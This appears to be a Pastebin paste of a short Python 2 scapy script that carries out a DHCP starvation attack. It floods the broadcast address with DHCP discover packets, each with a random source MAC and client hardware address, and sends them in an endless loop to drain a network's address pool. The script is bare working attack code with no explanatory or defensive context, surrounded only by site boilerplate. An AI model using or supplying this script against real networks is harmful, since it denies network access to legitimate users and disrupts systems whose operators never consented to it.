Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2
- from scapy.all import *
- p1 = Ether()
- p2 = IP()
- p3 = UDP()
- p4 = BOOTP()
- p5 = DHCP()
- p1.src=RandMAC()
- p1.dst="ff:ff:ff:ff:ff:ff"
- p2.src="0.0.0.0"
- p2.dst="255.255.255.255"
- p3.sport=68
- p3.dport=67
- p4.chaddr=RandString(12,"abcdef0123456789")
- p5.options=[("message-type","discover"),"end"]
- send=sendp(p1/p2/p3/p4/p5, loop=1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement